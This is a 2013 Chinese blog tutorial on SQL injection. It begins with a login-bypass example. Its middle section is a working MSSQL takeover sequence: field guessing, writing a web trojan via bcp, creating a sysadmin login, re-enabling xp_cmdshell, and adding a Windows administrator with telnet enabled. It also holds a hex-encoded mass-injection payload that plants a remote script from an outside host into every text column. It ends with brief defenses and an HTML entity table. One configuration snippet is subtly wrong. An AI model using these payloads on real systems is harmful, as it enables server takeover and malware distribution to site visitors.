SQL注入浅水攻防

啥是SQL注入(SQL Injection)

         所谓SQL注入就是把SQL命令插入到表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造 (或影响)SQL命令,或作为存储过程的输入参数,这类表单可将系统轻则异常、中断,重则可以将数据库权限窃取。

 

场景重现

一个简单的登陆页面---sql注入

 

 

登陆表单:

 

 

关键代码:

publicString login() throws   Exception

{

         String sql = "SELECT  *  FROMSYS_USER  WHERE account='"+ username +"'";

         getCurrentSeesion().createSQLQuery(sql).uniqueResult ();

}

 

如果此时用户名输入如下则一切安好:

 

 

 

如果这样输入

 

只是多了一个英文符号',请自行测试结果。

 

看文请回复,………………是一种美德………………………………………………………………………………

 

我测试的结果SQL最终执行的语句为:

 

SELECT  *  FROMSYS_USER  WHERE account='flash8627@hotmail.com'--';

 

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句)

上面最简单的一种SQL注入。

常见的注入语句

 

SQL Server

猜测数据库名,备份数据库

 

1.        猜测数据库名

2.        备份数据库

猜解字段名称

1.        猜解法:and(select count(字段名) from表名)>0   若“字段名”存在,则返回正常

2.        读取法:and(select  1  col_name(object_id('表名')  1) from sysobjects)>0   col_name(object_id('表名')  1 )中的1依次换成2,3,4,56…就可得到所有的字段名称。

 

遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

 

先创建一个临时表:;createtable temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255));--

a)  利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;inserttemp exec master.dbo.xp_availablemedia;--

b)  利用xp_subdirs获得子目录列表,并存入temp表中

;insertinto temp(id) exec master.dbo.xp_subdirs 'c:\';--

c)  利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insertinto temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--(实验成功)

d)  利用 bcp命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Execmaster..xp_cmdshell N'BCP "select * fromSchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp-w -S"localhost" -U"sa" -P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

sql查询器中通过语句:Execmaster..xp_cmdshell N'BCP’即可查看BCP相关参数

 

查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin,dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin,bulkadmin

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

 

设置新的数据库帐户(得到MSSQL管理员账户)

1.        在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin'hax';--

2.        hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_passwordnull,password,username;--

3.        hax添加到sysadmin

;exec master.dbo.sp_addsrvrolemember 'hax','sysadmin';--

 

xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户)

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows用户,并开启远程登录服务:

a)   判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjectsWHERE xtype = 'X' AND name ='xp_cmdshell'

b)   恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell'的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

通过执行下面语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options',1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c)   禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc'xp_cmdshell';

d)   添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e)   设置好密码:

Exec xp_cmdshell 'net user awen password';

f)   提升到管理员:

Exec xp_cmdshell 'net localgroupadministrators awen /add';

g)   开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'

没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shelloutput ;

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod@shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administratorsawen /add';

在使用的时候会报如下错:

SQL Server 阻止了对组件 'OleAutomation Procedures'的过程 'sys.sp_OACreate''sys.sp_OAMethod'的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole AutomationProcedures'的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

                   解决办法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures',1;

GO

RECONFIGURE;

GO

 

恭喜……你的服务器是别人的了

 

客户端脚本攻击

攻击1

         (正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

攻击2

         SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过页面输出的转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”

 

 

 

ORACLE

PL/SQL过程执行存在多个注入问题,远程攻击者可以利用这个漏洞提升特权,当PL/SQL过程执行时,使用definer权限,除非执行AUTHIDCURRENT USER关键词,在这个过程里以调用者特权执行过程,如果过程存在PL/SQL注入,任何过程可以滥用definer权力提升权限。已知受影响过程为:

 

OwnerProcedure

 

SYSDBMS_EXPORT_EXTENSION

WKSYSWK_ACL.GET_ACL

WKSYSWK_ACL.STORE_ACL

WKSYSWK_ADM.COMPLETE_ACL_SNAPSHOT

WKSYSWK_ACL.DELETE_ACLS_WITH_STATEMENT

CTXSYSDRILOAD.VALIDATE_STMT

 

上面几个可利用获得DBA权限。

 

受影响系统:

Oracle Oracle10g ApplicationServer 9.0.4.0

Oracle Oracle10g ApplicationServer 10.1.0.2

………………

 

 

 

更高级的攻击

 

将注入的SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

dEcLaRe@s vArChAr(8000) sEt@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;  

eXeC(@s);--

 

我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符'0x' )

 

 

防止SQL注入

 

1.        数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户

2.        自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

3.        把危险的和不必要的存储过程删除

4.        非参数化SQL与参数化SQL

 

将输入值中包含的HTML特殊转义字符》转换掉。

转义字符如附表转义字符:

 

5.  类型检查:对接收数据有明确要求的,在方法内进行类型验证。

6.  长度验证:要进行必要的注入,其语句也是有长度的。

7.  使用枚举:如果只有有限的几个值,就用枚举。

8.  关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。

 

 

HTML特殊转义字符列表

最常用的字符实体
Character Entities

显示

说明

实体名称

实体编号

半方大的空白

 

 

全方大的空白

 

 

不断行的空白格

 

 

< 

小于

&lt;

&#60;

> 

大于

&gt;

&#62;

&

&符号

&amp;

&#38;

"

双引号

&quot;

&#34;

©

版权

&copy;

&#169;

®

已注册商标

&reg;

&#174;

商标(美国)

&#8482;

×

乘号

&times;

&#215;

÷

除号

&divide;

&#247;

ISO8859-1 (Latin-1)字符集

HTML 4.01 支持 ISO8859-1 (Latin-1) 字符集。

备注:为了方便起见,以下表格中,“实体名称”简称为“名称”,“实体编号”简称为“编号”

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

&nbsp;

&#160;

¡

&iexcl;

&#161;

¢

&cent;

&#162;

£

&pound;

&#163;

¤

&curren;

&#164;

¥

&yen;

&#165;

¦

&brvbar;

&#166;

§

&sect;

&#167;

¨

&uml;

&#168;

©

&copy;

&#169;

ª

&ordf;

&#170;

«

&laquo;

&#171;

¬

&not;

&#172;

&shy;

&#173;

®

&reg;

&#174;

¯

&macr;

&#175;

°

&deg;

&#176;

±

&plusmn;

&#177;

²

&sup2;

&#178;

³

&sup3;

&#179;

´

&acute;

&#180;

µ

&micro;

&#181;

&para;

&#182;

·

&middot;

&#183;

¸

&cedil;

&#184;

¹

&sup1;

&#185;

º

&ordm;

&#186;

»

&raquo;

&#187;

¼

&frac14;

&#188;

½

&frac12;

&#189;

¾

&frac34;

&#190;

¿

&iquest;

&#191;

À

&Agrave;

&#192;

Á

&Aacute;

&#193;

Â

&Acirc;

&#194;

Ã

&Atilde;

&#195;

Ä

&Auml;

&#196;

Å

&Aring;

&#197;

Æ

&AElig;

&#198;

Ç

&Ccedil;

&#199;

È

&Egrave;

&#200;

É

&Eacute;

&#201;

Ê

&Ecirc;

&#202;

Ë

&Euml;

&#203;

Ì

&Igrave;

&#204;

Í

&Iacute;

&#205;

Î

&Icirc;

&#206;

Ï

&Iuml;

&#207;

Ð

&ETH;

&#208;

Ñ

&Ntilde;

&#209;

Ò

&Ograve;

&#210;

Ó

&Oacute;

&#211;

Ô

&Ocirc;

&#212;

Õ

&Otilde;

&#213;

Ö

&Ouml;

&#214;

×

&times;

&#215;

Ø

&Oslash;

&#216;

Ù

&Ugrave;

&#217;

Ú

&Uacute;

&#218;

Û

&Ucirc;

&#219;

Ü

&Uuml;

&#220;

Ý

&Yacute;

&#221;

Þ

&THORN;

&#222;

ß

&szlig;

&#223;

à

&agrave;

&#224;

á

&aacute;

&#225;

â

&acirc;

&#226;

ã

&atilde;

&#227;

ä

&auml;

&#228;

å

&aring;

&#229;

æ

&aelig;

&#230;

ç

&ccedil;

&#231;

è

&egrave;

&#232;

é

&eacute;

&#233;

ê

&ecirc;

&#234;

ë

&euml;

&#235;

ì

&igrave;

&#236;

í

&iacute;

&#237;

î

&icirc;

&#238;

ï

&iuml;

&#239;

ð

&eth;

&#240;

ñ

&ntilde;

&#241;

ò

&ograve;

&#242;

ó

&oacute;

&#243;

ô

&ocirc;

&#244;

õ

&otilde;

&#245;

ö

&ouml;

&#246;

÷

&divide;

&#247;

ø

&oslash;

&#248;

ù

&ugrave;

&#249;

ú

&uacute;

&#250;

û

&ucirc;

&#251;

ü

&uuml;

&#252;

ý

&yacute;

&#253;

þ

&thorn;

&#254;

ÿ

&yuml;

&#255;

数学和希腊字母标志
symbols, mathematical symbols, and Greek letters

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

ƒ

&fnof;

&#402;

Α

&Alpha;

&#913;

Β

&Beta;

&#914;

Γ

&Gamma;

&#915;

Δ

&Delta;

&#916;

Ε

&Epsilon;

&#917;

Ζ

&Zeta;

&#918;

Η

&Eta;

&#919;

Θ

&Theta;

&#920;

Ι

&Iota;

&#921;

Κ

&Kappa;

&#922;

Λ

&Lambda;

&#923;

Μ

&Mu;

&#924;

Ν

&Nu;

&#925;

Ξ

&Xi;

&#926;

Ο

&Omicron;

&#927;

Π

&Pi;

&#928;

Ρ

&Rho;

&#929;

Σ

&Sigma;

&#931;

Τ

&Tau;

&#932;

Υ

&Upsilon;

&#933;

Φ

&Phi;

&#934;

Χ

&Chi;

&#935;

Ψ

&Psi;

&#936;

Ω

&Omega;

&#937;

α

&alpha;

&#945;

β

&beta;

&#946;

γ

&gamma;

&#947;

δ

&delta;

&#948;

ε

&epsilon;

&#949;

ζ

&zeta;

&#950;

η

&eta;

&#951;

θ

&theta;

&#952;

ι

&iota;

&#953;

κ

&kappa;

&#954;

λ

&lambda;

&#955;

μ

&mu;

&#956;

ν

&nu;

&#957;

ξ

&xi;

&#958;

ο

&omicron;

&#959;

π

&pi;

&#960;

ρ

&rho;

&#961;

ς

&sigmaf;

&#962;

σ

&sigma;

&#963;

τ

&tau;

&#964;

υ

&upsilon;

&#965;

φ

&phi;

&#966;

χ

&chi;

&#967;

ψ

&psi;

&#968;

ω

&omega;

&#969;

?

&thetasym;

&#977;

?

&upsih;

&#978;

?

&piv;

&#982;

&bull;

&#8226;

&hellip;

&#8230;

&prime;

&#8242;

&Prime;

&#8243;

&oline;

&#8254;

&frasl;

&#8260;

&weierp;

&#8472;

&image;

&#8465;

&real;

&#8476;

&trade;

&#8482;

&alefsym;

&#8501;

&larr;

&#8592;

&uarr;

&#8593;

&rarr;

&#8594;

&darr;

&#8595;

&harr;

&#8596;

&crarr;

&#8629;

&lArr;

&#8656;

&uArr;

&#8657;

&rArr;

&#8658;

&dArr;

&#8659;

&hArr;

&#8660;

&forall;

&#8704;

&part;

&#8706;

&exist;

&#8707;

&empty;

&#8709;

&nabla;

&#8711;

&isin;

&#8712;

&notin;

&#8713;

&ni;

&#8715;

&prod;

&#8719;

&sum;

&#8721;

&minus;

&#8722;

&lowast;

&#8727;

&radic;

&#8730;

&prop;

&#8733;

&infin;

&#8734;

&ang;

&#8736;

&and;

&#8743;

&or;

&#8744;

&cap;

&#8745;

&cup;

&#8746;

&int;

&#8747;

&there4;

&#8756;

&sim;

&#8764;

&cong;

&#8773;

&asymp;

&#8776;

&ne;

&#8800;

&equiv;

&#8801;

&le;

&#8804;

&ge;

&#8805;

&sub;

&#8834;

&sup;

&#8835;

&nsub;

&#8836;

&sube;

&#8838;

&supe;

&#8839;

&oplus;

&#8853;

&otimes;

&#8855;

&perp;

&#8869;

&sdot;

&#8901;

?

&lceil;

&#8968;

?

&rceil;

&#8969;

?

&lfloor;

&#8970;

?

&rfloor;

&#8971;

?

&lang;

&#9001;

?

&rang;

&#9002;

&loz;

&#9674;

&spades;

&#9824;

&clubs;

&#9827;

&hearts;

&#9829;

&diams;

&#9830;

重要的国际标记
markup-significant and internationalization characters

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

显示

名称

编号

"

&quot;

&#34;

&

&amp;

&#38;

< 

&lt;

&#60;

> 

&gt;

&#62;

Œ

&OElig;

&#338;

œ

&oelig;

&#339;

Š

&Scaron;

&#352;

š

&scaron;

&#353;

Ÿ

&Yuml;

&#376;

ˆ

&circ;

&#710;

˜

&tilde;

&#732;

 

&ensp;

&#8194;

 

&emsp;

&#8195;

 

&thinsp;

&#8201;

&zwnj;

&#8204;

&zwj;

&#8205;

&lrm;

&#8206;

&rlm;

&#8207;

&ndash;

&#8211;

&mdash;

&#8212;

&lsquo;

&#8216;

&rsquo;

&#8217;

&sbquo;

&#8218;

&ldquo;

&#8220;

&rdquo;

&#8221;

&bdquo;

&#8222;

&dagger;

&#8224;

&Dagger;

&#8225;

&permil;

&#8240;

&lsaquo;

&#8249;

&rsaquo;

&#8250;

&euro;

&#8364;


JavaScript转义符

转义序列

字符

\b

退格

\f

走纸换页

\n

换行

\r

回车

\t

横向跳格 (Ctrl-I)

\'

单引号

\"

双引号

\\

反斜杠

编程的时候要注意特殊字符的问题,很多运行时出现的问题都是因为特殊字符的出现而引起的。

注意,由于反斜杠本身用作转义符,因此不能直接在脚本中键入一个反斜杠。如果要产生一个反斜杠,必须一起键入两个反斜杠 (\\)。

 

看文请回复,………………是一种美德………………………………………………………………………………

 

 

posted @ 2013-07-22 20:31  坚固66  阅读(471)  评论(0编辑  收藏  举报